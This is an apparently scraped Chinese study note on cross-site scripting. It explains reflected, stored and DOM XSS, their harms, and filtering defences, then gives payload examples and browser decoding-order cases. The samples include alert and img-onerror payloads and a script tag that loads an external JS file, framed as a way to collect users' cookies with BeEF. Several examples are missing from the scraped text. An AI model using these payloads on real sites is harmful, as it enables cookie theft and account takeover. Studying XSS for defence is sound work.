xss漏洞学习

一、XSS的原理

跨站脚本攻击 XSS(Cross Site Scripting) ,为了不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混 淆,故将跨站脚本攻击缩写为XSS 。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。 XSS 攻击针对的是用户层 面的攻击!

二、Xss漏洞分类

1. 反射性xss

反射型 XSS 是非持久性、参数型的跨站脚本。反射型 XSS JS 代码在 Web 应用的参数(变量)中,如搜 索框的反射型XSS 。在搜索框中,提交 PoC[scriptalert(/xss/)/script] ,点击搜索,即可触发反射型 XSS 。 注意到,我们提交的poc 会出现在 search.php 页面的 keywords 参数中。

2.存储型XSS

存储型 XSS 是持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或 文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将 恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的 JS 代 码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的 XSS 代码,才能真正触发 XSS 。 此时,需要我们模拟网站后台管理员的身份,查看留言。

3.基于DOM XSS

DOM XSS 比较特殊。 owasp 关于 DOM 型号 XSS 的定义是基于 DOM XSS 是一种 XSS 攻击,其中攻击 的payload 由于修改受害者浏览器页面的 DOM 树而执行的。其特殊的地方就是 payload 在浏览器本地修 改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。

三、xss漏洞的危害

XSS 攻击的危害包括:
1 、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2 、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3 、盗窃企业重要的具有商业价值的资料
4 、非法转账
5 、强制发送电子邮件
6 、网站挂马
7 、控制受害者机器向其它网站发起攻击

四、常见的xss漏洞防御方法

1、过滤JavaScript关键字,过滤onclick、onerror等关键字中的共有部分

2、过滤特定标签,如

3、过滤在html中有特殊含义的符号,如'<‘,’>’,”‘”,'”‘等

4、限制用户输入的字符串长度

五、构造xss脚本

1.弹框警告

此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号', 一旦此脚本能执行,也就意 味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏洞。

2.页面嵌套

3.页面重定向
 4.访问恶意代码
< script src ="http://www.qfedu.com/xss.js">
#结合BeEF收集用户的cookie
5.巧用图片标签
6.收集用户cookie
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页。

六、浏览器解析编码的顺序

首先是解析HTML实体编码 #,然后URLcode编码%,最后JavaScript中的Unicode编码u

具体规则是咋样的,我们来看具体案例:

1.

aaaa

解析时先解析HTML实体编码,没有HTML实体编码,跳过,检测到URLcode,直接将编码给URL模块进行解析,解析结果为javascript:alert(1),但是URL模块并不能解析javascript伪协议,所以不会对alert(1)进行执行 

2.

解析时先解析HTML实体编码为javascript关键字,后面url解析得到javascript:alert(2),然后执行js,由于是javascript协议,解码完给JS模块处理,于是被执行。

3.

,因此可以被解析,但是不会被执行。

4.

这里看似将没毛病,但是这里\u0031\u0032在解码的时候会被解码为字符串12,注意是字符串,不是数字,文字显然是需要引号的,JS执行失败

5.

<img src=x onerror=alert(4)>

这里包含了HTML编码内容,反过来以开发者的角度思考,HTML编码就是为了显示这些特殊字符,而不干扰正常的DOM解析,所以这里面的内容不会变成一个img元素,也不会被执行.从HTML解析机制看,在读取

之后进入数据状态,<会被HTML解码,但不会进入标签开始状态,当然也就不会创建img元素,也就不会执行

6.

这里会首先通过实体编码转换成,从而执行jS的点击事件,所以这样编码也是可以执行的。

7.

\u000a在JavaScript里是换行,就是\n,直接执行

总结:

你可能感兴趣的:(安全,xss,学习,前端)